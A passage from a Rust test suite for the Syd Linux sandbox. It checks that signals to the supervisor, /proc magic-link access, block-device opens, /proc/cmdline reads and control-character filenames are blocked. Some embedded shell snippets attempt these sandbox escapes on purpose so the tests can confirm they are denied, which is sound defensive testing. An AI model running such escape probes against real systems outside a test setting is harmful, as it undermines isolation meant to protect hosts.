                    (p, _) if p == big || p == nig => nix::libc::EINVAL,
                    (_, p) if p == big || p == nig => nix::libc::EINVAL,
                    _ => nix::libc::ESRCH,
                };
                i += 1;
                env::set_var("SYD_TEST_TIMEOUT", "10s");
                let status = syd()
                    .log("warn")
                    .p("off")
                    .p("container")
                    .do_("tgkill", [tgid, tid, &format!("{}", sig as i32)])
                    .status()
                    .expect("execute syd");
                env::set_var("SYD_TEST_TIMEOUT", &timeout);
                if errno != 0 {
                    assert_status_code!(status, errno);
                } else if !(tgid == "2" && tid == "2") {
                    assert_status_ok!(status);
                } else {
                    match sig {
                        Signal::SIGBUS
                        | Signal::SIGCHLD
                        | Signal::SIGCONT
                        | Signal::SIGSEGV
                        | Signal::SIGURG
                        | Signal::SIGWINCH => {
                            assert_status_ok!(status);
                        }
                        Signal::SIGSTOP | Signal::SIGTSTP | Signal::SIGTTIN | Signal::SIGTTOU => {
                            assert_status_killed!(status);
                        }
                        _ => {
                            assert_status_code!(status, 128 + sig as i32);
                        }
                    };
                }
            }
        }
    }
    eprintln!("[!] {i} tests passed!");

    Ok(())
}

fn test_syd_exp_signal_protection_pidns_tgsigqueue_all() -> TestResult {
    skip_unless_unshare!();

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    let mut i = 0;
    let big = nix::libc::pid_t::MAX as u64 + 3;
    let big = big.to_string();
    let nig = format!("-{big}");
    for sig in Signal::iterator() {
        /*
         * Processes by PID:
         * 1: Syd process
         * 2: Sandbox process
         * 3: Syd monitor thread
         * 1024: A valid process which doesn't exist.
         * 0: Zero which is an invalid proces ID.
         * big: A positive number which is an invalid PID.
         * nig: A negative number which is an invalid PID.
         */
        for tgid in [
            "0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
        ] {
            for tid in [
                "0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
            ] {
                let errno = match (tgid, tid) {
                    ("2", "2") => 0,
                    ("1" | "3", "1024") => 0,
                    ("1024", "1" | "3") => 0,
                    ("1" | "2" | "3", "1" | "2" | "3") => 0,
                    ("2" | "1024", "1024") => nix::libc::EPERM,
                    ("0" | "-1" | "-2" | "-3" | "-1024", _) => nix::libc::EINVAL,
                    (_, "0" | "-1" | "-2" | "-3" | "-1024") => nix::libc::EINVAL,
                    (p, _) if p == big || p == nig => nix::libc::EINVAL,
                    (_, p) if p == big || p == nig => nix::libc::EINVAL,
                    _ => nix::libc::ESRCH,
                };
                i += 1;
                env::set_var("SYD_TEST_TIMEOUT", "10s");
                let status = syd()
                    .log("warn")
                    .p("off")
                    .p("container")
                    .do_("tgsigqueue", [tgid, tid, &format!("{}", sig as i32)])
                    .status()
                    .expect("execute syd");
                env::set_var("SYD_TEST_TIMEOUT", &timeout);
                if errno != 0 {
                    assert_status_code!(status, errno);
                } else if !(tgid == "2" && tid == "2") {
                    assert_status_ok!(status);
                } else {
                    match sig {
                        Signal::SIGBUS
                        | Signal::SIGCHLD
                        | Signal::SIGCONT
                        | Signal::SIGSEGV
                        | Signal::SIGURG
                        | Signal::SIGWINCH => {
                            assert_status_ok!(status);
                        }
                        Signal::SIGSTOP | Signal::SIGTSTP | Signal::SIGTTIN | Signal::SIGTTOU => {
                            assert_status_killed!(status);
                        }
                        _ => {
                            assert_status_code!(status, 128 + sig as i32);
                        }
                    };
                }
            }
        }
    }
    eprintln!("[!] {i} tests passed!");

    Ok(())
}

fn test_syd_signal_protection_simple() -> TestResult {
    skip_unless_available!("bash", "kill");

    let status = syd()
        .p("off")
        .argv(["bash", "-cx"])
        .arg(
            r#"
pid=$PPID
r=0

# Dummy signal is permitted.
kill -0 ${pid} || r=1

# No other signals are permitted.
# syd denies with errno=EACCES.
for sig in INT ABRT STOP KILL; do
    kill -${sig} ${pid} && r=2
    sleep 1
done

exit $r
"#,
        )
        .status()
        .expect("execute syd");

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_signal_protection_killpg_0() -> TestResult {
    // killpg(exec process) does not propagate to Syd.
    let status = syd()
        .p("off")
        .do_("kill", ["0", "9"])
        .status()
        .expect("execute syd");
    // syd denies with errno=EACCES.
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_signal_protection_killpg_self() -> TestResult {
    // killpg syd's process group with signal 0 is OK!
    let status = syd()
        .p("off")
        .do_("killpg_self", ["0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // killpg syd's process group with signal!=0 is denied with errno=EACCES.
    let status = syd()
        .p("off")
        .do_("killpg_self", ["9"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_signal_protection_killpg_syd() -> TestResult {
    skip_unless_available!("bash");

    // kill(-sydpid) does not propagate to syd.
    let status = syd()
        .p("off")
        .do__("kill")
        .argv(["bash", "-cx", &format!("{} -${{PPID}} 9", *SYD_DO)])
        .status()
        .expect("execute syd");
    // syd denies with errno=EACCES.
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_signal_protection_mass_0() -> TestResult {
    // mass signaling is not permitted with signal=0.
    let status = syd()
        .p("off")
        .do_("kill", ["-1", "0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_signal_protection_mass_int() -> TestResult {
    skip_unless_unshare!();

    // mass signaling is not permitted.
    let status = syd()
        .p("off")
        .p("container")
        .do_("kill", ["-1", "2"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_exp_emulate_open_fifo() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,truncate,mkfifo:on")
        .m("allow/read,stat,write,create,truncate,mkfifo+/***")
        .do_("emulate_open_fifo", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_interrupt_fifo_eintr_linux() -> TestResult {
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "interrupt_fifo")
        .status()
        .expect("execute syd-test-do");
    assert_status_interrupted!(status);

    Ok(())
}

fn test_syd_interrupt_fifo_eintr_syd() -> TestResult {
    let status = syd()
        .p("off")
        .do_("interrupt_fifo", NONE)
        .status()
        .expect("execute syd");
    assert_status_interrupted!(status);

    Ok(())
}

fn test_syd_interrupt_fifo_restart_linux() -> TestResult {
    let sa_flags = SaFlags::SA_RESTART.bits();

    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "interrupt_fifo")
        .env("SYD_TEST_FIFO_SAFLAGS", sa_flags.to_string())
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_interrupt_fifo_restart_syd() -> TestResult {
    let sa_flags = SaFlags::SA_RESTART.bits();

    let status = syd()
        .env("SYD_TEST_FIFO_SAFLAGS", sa_flags.to_string())
        .p("off")
        .do_("interrupt_fifo", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_interrupt_fifo_oneshot_eintr_linux() -> TestResult {
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "interrupt_fifo_oneshot")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_interrupt_fifo_oneshot_eintr_syd() -> TestResult {
    let status = syd()
        .p("off")
        .do_("interrupt_fifo_oneshot", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_interrupt_fifo_oneshot_restart_linux() -> TestResult {
    let sa_flags = SaFlags::SA_RESTART.bits();

    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "interrupt_fifo_oneshot")
        .env("SYD_TEST_FIFO_SAFLAGS", sa_flags.to_string())
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_interrupt_fifo_oneshot_restart_syd() -> TestResult {
    let sa_flags = SaFlags::SA_RESTART.bits();

    let status = syd()
        .env("SYD_TEST_FIFO_SAFLAGS", sa_flags.to_string())
        .p("off")
        .do_("interrupt_fifo_oneshot", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_interrupt_pthread_sigmask() -> TestResult {
    let status = syd()
        .p("off")
        .do_("pthread_sigmask", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_deny_magiclinks() -> TestResult {
    skip_unless_unshare!();

    // Check protections with stat sandboxing on.
    eprintln!("\x1b[36m<<< paludis >>>\x1b[0m");
    let status = syd()
        .p("paludis")
        .m("trace/allow_unsafe_magiclinks:0")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .do_("deny_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Check protections with stat sandboxing off.
    eprintln!("\x1b[36m<<< lib >>>\x1b[0m");
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .do_("deny_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Check protections with stat sandboxing off and lock on.
    eprintln!("\x1b[36m<<< lib with lock on >>>\x1b[0m");
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .m("lock:on")
        .do_("deny_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_open_magiclinks_1() -> TestResult {
    skip_unless_unshare!();

    // Check protections with read+stat sandboxing off.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .do_("open_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_open_magiclinks_2() -> TestResult {
    skip_unless_unshare!();

    // Check protections with read+stat sandboxing off and lock:exec.
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .m("lock:on")
        .do_("open_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_open_magiclinks_3() -> TestResult {
    skip_unless_unshare!();

    // Check protections with read+stat sandboxing on.
    let status = syd()
        .p("off")
        .m("sandbox/read,stat:on")
        .m("allow/read,stat+/***")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .do_("open_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_open_magiclinks_4() -> TestResult {
    skip_unless_unshare!();

    // Check protections with read+stat sandboxing on and lock:exec.
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,stat:on")
        .m("allow/read,stat+/***")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .do_("open_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_lstat_magiclinks() -> TestResult {
    skip_unless_unshare!();

    // Check protections with stat sandboxing on.
    // Pass allow/stat+/*** in case tests are run elsewhere.
    eprintln!("\x1b[36m<<< paludis >>>\x1b[0m");
    let status = syd()
        .p("paludis")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .m("allow/stat+/***")
        .do_("lstat_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Check protections with stat sandboxing off.
    eprintln!("\x1b[36m<<< lib >>>\x1b[0m");
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .do_("lstat_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Check protections with stat sandboxing off and lock on.
    eprintln!("\x1b[36m<<< lib with lock on >>>\x1b[0m");
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .m("lock:on")
        .do_("lstat_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_access_unsafe_paths_default() -> TestResult {
    // Check protections with the Linux profile.
    let status = syd()
        .p("linux")
        .m("allow/exec+/***")
        .do_("access_unsafe_paths", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_access_unsafe_paths_sydinit() -> TestResult {
    skip_unless_unshare!();

    // Check protections with the Linux profile.
    let status = syd()
        .p("container")
        .p("linux")
        .m("allow/exec+/***")
        .do_("access_unsafe_paths", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_access_unsafe_paths_per_process_default() -> TestResult {
    // Check protections with the Linux profile.
    let status = syd()
        .p("linux")
        .m("allow/exec,stat+/***")
        .do_("access_unsafe_paths_per_process", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_access_unsafe_paths_per_process_sydinit() -> TestResult {
    skip_unless_unshare!();

    // Check protections with the Linux profile.
    let status = syd()
        .p("container")
        .p("linux")
        .m("allow/exec,stat+/***")
        .do_("access_unsafe_paths_per_process", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_prevent_block_device_access() -> TestResult {
    eprintln!("[*] Looking for a block device under /dev...");
    let dev = match grep(XPath::from_bytes(b"/dev"), b"!") {
        Some(mut name) => {
            name.truncate(name.len() - 1);
            XPathBuf::from(format!("/dev/{name}"))
        }
        None => {
            eprintln!("No block device found under /dev, skipping!");
            env::set_var("SYD_TEST_SOFT_FAIL", "1");
            return Ok(());
        }
    };
    eprintln!("[*] Running tests with {dev}...");

    eprintln!("[*] Attempting to open {dev} with O_PATH outside Syd...");
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "open_path")
        .arg(&dev)
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    eprintln!("[*] Attempting to open {dev} with O_PATH inside Syd...");
    let status = syd()
        .m("allow/read,stat,write,create,exec+/***")
        .do_("open_path", &[dev])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

fn test_syd_list_unsafe_paths_default() -> TestResult {
    // Create a files with names violating SafeSetName constraints.
    File::create("./foo:bar")?;
    File::create("./foo?bar")?;
    File::create("./~foobar")?;
    File::create("./foobar ")?;
    File::create("./foo bar")?;
    File::create("./foo.bar")?;

    // Check protections with the Linux profile.
    let cwd = current_dir(false)?.display().to_string();
    let status = syd()
        .log("warn")
        .p("linux")
        .m("allow/exec+/***")
        .m(format!("allow/all+{cwd}/***"))
        .do_("list_unsafe_paths", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_list_unsafe_paths_sydinit() -> TestResult {
    skip_unless_unshare!();

    // Create a files with names violating SafeSetName constraints.
    File::create("./foo:bar")?;
    File::create("./foo?bar")?;
    File::create("./~foobar")?;
    File::create("./foobar ")?;
    File::create("./foo bar")?;
    File::create("./foo.bar")?;

    // Check protections with the Linux profile.
    let cwd = current_dir(false)?.display().to_string();
    let status = syd()
        .log("warn")
        .p("container")
        .p("linux")
        .m("allow/exec+/***")
        .m(format!("allow/all+{cwd}/***"))
        .do_("list_unsafe_paths", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_list_unsafe_paths_per_process_default() -> TestResult {
    // Check protections with the Linux profile.
    let status = syd()
        .log("warn")
        .p("linux")
        .m("allow/exec+/***")
        .do_("list_unsafe_paths_per_process", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_list_unsafe_paths_per_process_sydinit() -> TestResult {
    skip_unless_unshare!();

    // Check protections with the Linux profile.
    let status = syd()
        .log("warn")
        .p("container")
        .p("linux")
        .m("allow/exec+/***")
        .do_("list_unsafe_paths_per_process", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_access_proc_cmdline() -> TestResult {
    skip_unless_available!("cat", "sh");

    let status = syd()
        .p("off")
        .argv(["sh", "-cx"])
        .arg(
            r#"
cmdline=$(cat /proc/cmdline)
if test -n "$cmdline"; then
    echo >&2 "/proc/cmdline leaked with sandboxing off."
    false
else
    echo >&2 "/proc/cmdline is empty as expected."
    true
fi
        "#,
        )
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    Ok(())
}

fn test_syd_mkdir_with_control_chars_default() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .argv(["bash", "-cx"])
        .arg(
            r##"
#!/bin/bash
r=0
mkdir mccd || exit 127
mkdir $'./mccd/test_alert_dir\a' && r=1
test -e $'./mccd/test_alert_dir\a' && r=2
mkdir $'./mccd/test_vertical_tab_dir\v' && r=3
test -e $'./mccd/test_vertical_tab_dir\v' && r=4
mkdir $'./mccd/test_form_feed_dir\f' && r=5
test -e $'./mccd/test_form_feed_dir\f' && r=6
mkdir $'./mccd/test_multi_control_dir\x01\x02\x03' && r=7
test -e $'./mccd/test_multi_control_dir\x01\x02\x03' && r=8
mkdir $'./mccd/test_\x1F_unit_sep_dir' && r=9
test -e $'./mccd/test_\x1F_unit_sep_dir' && r=10
exit $r
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mkdir_with_control_chars_unsafe() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_filename:1")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .argv(["bash", "-cx"])
        .arg(
            r##"
#!/bin/bash
r=0
mkdir mccu || exit 127
mkdir $'./mccu/test_alert_dir\a' || r=1
test -e $'./mccu/test_alert_dir\a' || r=2
mkdir $'./mccu/test_vertical_tab_dir\v' || r=3
test -e $'./mccu/test_vertical_tab_dir\v' || r=4
mkdir $'./mccu/test_form_feed_dir\f' || r=5
test -e $'./mccu/test_form_feed_dir\f' || r=6
mkdir $'./mccu/test_multi_control_dir\x01\x02\x03' || r=7
test -e $'./mccu/test_multi_control_dir\x01\x02\x03' || r=8
mkdir $'./mccu/test_\x1F_unit_sep_dir' || r=9
test -e $'./mccu/test_\x1F_unit_sep_dir' || r=10
exit $r
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_touch_with_control_chars_default() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,utime:on")
        .m("allow/read,stat,write,create,utime+/***")
        .argv(["bash", "-cx"])
        .arg(
            r##"
#!/bin/bash
r=0
mkdir tccd || exit 127
touch $'./tccd/test_alert_file\a' && r=1
test -e $'./tccd/test_alert_file\a' && r=2
touch $'./tccd/test_vertical_tab_file\v' && r=3
test -e $'./tccd/test_vertical_tab_file\v' && r=4
touch $'./tccd/test_form_feed_file\f' && r=5
test -e $'./tccd/test_form_feed_file\f' && r=6
touch $'./tccd/test_multi_control_file\x01\x02\x03' && r=7
test -e $'./tccd/test_multi_control_file\x01\x02\x03' && r=8
touch $'./tccd/test_\x1F_unit_sep_file' && r=9
test -e $'./tccd/test_\x1F_unit_sep_file' && r=10
exit $r
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_touch_with_control_chars_unsafe() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_filename:true")
        .m("sandbox/read,stat,write,create,utime:on")
        .m("allow/read,stat,write,create,utime+/***")
        .argv(["bash", "-cx"])
        .arg(
            r##"
#!/bin/bash
r=0
mkdir tccu || exit 127
touch $'./tccu/test_alert_file\a' || r=1
test -e $'./tccu/test_alert_file\a' || r=2
touch $'./tccu/test_vertical_tab_file\v' || r=3
test -e $'./tccu/test_vertical_tab_file\v' || r=4
touch $'./tccu/test_form_feed_file\f' || r=5
test -e $'./tccu/test_form_feed_file\f' || r=6
touch $'./tccu/test_multi_control_file\x01\x02\x03' || r=7
test -e $'./tccu/test_multi_control_file\x01\x02\x03' || r=8
touch $'./tccu/test_\x1F_unit_sep_file' || r=9
test -e $'./tccu/test_\x1F_unit_sep_file' || r=10
exit $r
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_unshare_user_bypass_limit() -> TestResult {
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .do_("unshare_user_bypass_limit", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_delete_reg_1() -> TestResult {
    skip_unless_available!("sh", "unlink");

    let status = syd()
        .p("off")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
touch test
test -e test
unlink test/ && exit 1 || true
unlink test
test -e test && exit 2 || true
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_delete_reg_2() -> TestResult {
    skip_unless_available!("sh", "unlink");

    // Start a process to unlink the file outside Syd.
    let mut child = Command::new("sh")
        .arg("-cex")
        .arg("sleep 5; exec unlink test")
        .spawn()
        .expect("execute sh");

    let status = syd()
        .p("off")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
touch test
test -e test
sleep 10
test -e test && exit 1 || true
    "##,
        )
        .status()
        .expect("execute syd");

    child.wait().expect("wait sh");

    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_delete_dir_1() -> TestResult {
    skip_unless_available!("sh", "unlink", "rmdir");

    let status = syd()
        .p("off")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
mkdir test
test -e test
test -d test
unlink test && exit 1 || true
rmdir test
test -e test && exit 2 || true
test -d test && exit 3 || true
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_delete_dir_2() -> TestResult {
    skip_unless_available!("sh", "unlink", "rmdir");

    let status = syd()
        .p("off")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
mkdir test
test -e test
test -d test
unlink test/ && exit 1 || true
rmdir test/
test -e test && exit 2 || true
test -d test && exit 3 || true
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_delete_dir_3() -> TestResult {
    skip_unless_available!("sh", "unlink", "rmdir");

    let status = syd()
        .p("off")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
mkdir test
test -e test/
test -d test/
unlink test/ && exit 1 || true
rmdir test/
test -e test/ && exit 2 || true
test -d test/ && exit 3 || true
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_rename_reg_1() -> TestResult {
    skip_unless_available!("sh", "mv");

    let status = syd()
        .p("off")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
touch test.1
mkfifo test.2
test -f test.1
test -p test.2
if ! mv -v --exchange test.1 test.2; then
    mv -v test.1 foo
    mv -v test.2 test.1
    mv -v foo test.2
fi
test -p test.1
test -f test.2
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_rename_reg_2() -> TestResult {
    skip_unless_available!("sh", "mv");

    // Start a process to rename the files outside Syd.
    let mut child = Command::new("sh")
        .arg("-cex")
        .arg("sleep 5; mv -v --exchange test.1 test.2 || ( mv -v test.1 foo; mv -v test.2 test.1; mv -v foo test.2 )")
        .spawn()
        .expect("execute sh");

    let status = syd()
        .p("off")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
touch test.1
mkfifo test.2
test -f test.1
test -p test.2
sleep 10
test -p test.1
test -f test.2
    "##,
        )
        .status()
        .expect("execute syd");

    child.wait().expect("wait sh");

    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_rename_dir_1() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
mkdir test.1
touch test.2
test -d test.1
test -d test.1/
test -f test.2
if ! mv -v --exchange test.1 test.2; then
    mv -v test.1 foo
    mv -v test.2 test.1
    mv -v foo test.2
fi
test -f test.1
test -d test.2
test -d test.2/
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_rename_dir_2() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
mkdir test.1
touch test.2
test -d test.1
test -d test.1/
test -f test.2
if ! mv -v --exchange test.1/ test.2; then
    mv -v test.2 foo
    mv -v test.1/ test.2
    mv -v foo test.1
fi
test -d test.2
test -d test.2/
test -f test.1
if ! mv -v --exchange test.2/ test.1; then
    mv -v test.1 foo
    mv -v test.2/ test.1
    mv -v foo test.2
fi
test -d test.1
test -d test.1/
test -f test.2
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_rename_dir_3() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
#!/bin/sh
mkdir test.1
mkdir test.2
test -e test.1
test -e test.2
test -e test.1/
test -e test.2/
test -d test.1
test -d test.2
test -d test.1/
test -d test.2/
mv -v test.1/ test.2/
test -e test.1 && exit 1 || true
test -e test.1/ && exit 2 || true
test -d test.1 && exit 3 || true
test -d test.1/ && exit 4 || true
test -e test.2
test -e test.2/
test -d test.2
test -d test.2/
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_after_rename_dir_4() -> TestResult {
    skip_if_root!();
    skip_unless_available!("bash", "tar");

    let status = syd()
        .p("off")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(
            r##"
#!/usr/bin/env bash
#
# Reproduces the "keep-directory-symlink" test from the GNU tar test suite.

# ------------------------------------------------------------------------------
# STEP 1: Create input directories and tar archives.
# We produce three sets of input data: ina, inb, inc.
# Each contains root/dir, root/dirsymlink, with some files, then archived.
# ------------------------------------------------------------------------------
for letter in a b c; do
  input_dir="in${letter}"
  mkdir -p "${input_dir}/root/dir" "${input_dir}/root/dirsymlink"

  # Create a unique file in each dirsymlink
  touch "${input_dir}/root/dirsymlink/file${letter}"

  # For b and c, also create 'file.conflict'
  if [[ "${letter}" != "a" ]]; then
    touch "${input_dir}/root/dirsymlink/file.conflict"
  fi

  # Archive the contents of ${input_dir}/root into archive${letter}.tar
  tar cf "archive${letter}.tar" -C "${input_dir}" root
done

# ------------------------------------------------------------------------------
# Define helper functions used by the test logic.
# ------------------------------------------------------------------------------
prep_test_case() {
  # Prints a label, sets up a clean output directory with the needed symlink,
  # and optionally enters that directory if we're in 'normal' round.
  test_case_name="$1"
  echo "== ${test_case_name} =="
  echo "== ${test_case_name} ==" >&2

  backup_dir="${test_case_name}"
  output_dir="out"

  mkdir -p "${output_dir}/root/dir"
  ln -s dir "${output_dir}/root/dirsymlink"

  if [[ "${round}" == "normal" ]]; then
    cd "${output_dir}" >/dev/null || exit 1
  fi
}

clean_test_case() {
  # Leaves the 'out' directory, lists its contents, and renames it to backup_dir.
  if [[ "${round}" == "normal" ]]; then
    cd .. >/dev/null || exit 1
  fi

  # Print directory listing, sorted
  find "${output_dir}" | sort
  mv "${output_dir}" "${backup_dir}"
}

compose_file_spec() {
  # Returns either "-f ../archiveX.tar" if round=normal
  # or "-f archiveX.tar -C out" if round=dir
  local archive_name="$1"
  if [[ "${round}" == "normal" ]]; then
    echo "-f ../${archive_name}"
  else
    echo "-f ${archive_name} -C ${output_dir}"
  fi
}

# ------------------------------------------------------------------------------
# STEP 2: Run the tests for two "round" modes: "normal" and "dir".
# ------------------------------------------------------------------------------
for round in normal dir; do

  # ---- WITHOUT OPTION ----
  prep_test_case "without_option_${round}"

  # Extract from archivea.tar, then archiveb.tar
  tar -x $(compose_file_spec "archivea.tar") || exit 1
  tar -x $(compose_file_spec "archiveb.tar") || exit 1

  clean_test_case

  # ---- WITH --keep-directory-symlink ----
  prep_test_case "with_option_${round}"

  # Extract from archivea.tar, then archiveb.tar, but preserve the symlink
  tar -x --keep-directory-symlink $(compose_file_spec "archivea.tar") || exit 1
  tar -x --keep-directory-symlink $(compose_file_spec "archiveb.tar") || exit 1

  clean_test_case

  # ---- COLLISION TEST (using --keep-directory-symlink and --keep-old-files) ----
  prep_test_case "collision_${round}"

  tar -x --keep-directory-symlink $(compose_file_spec "archivea.tar") --keep-old-files || exit 1
  tar -x --keep-directory-symlink $(compose_file_spec "archiveb.tar") --keep-old-files || exit 1
  # The following extraction must fail due to file.conflict
  tar -x --keep-directory-symlink $(compose_file_spec "archivec.tar") --keep-old-files && exit 1

  clean_test_case

done

# If we reached here, everything worked as expected.
true
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_fanotify_mark_cwd_allow() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .do_("fanotify_mark", ["0", "0"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
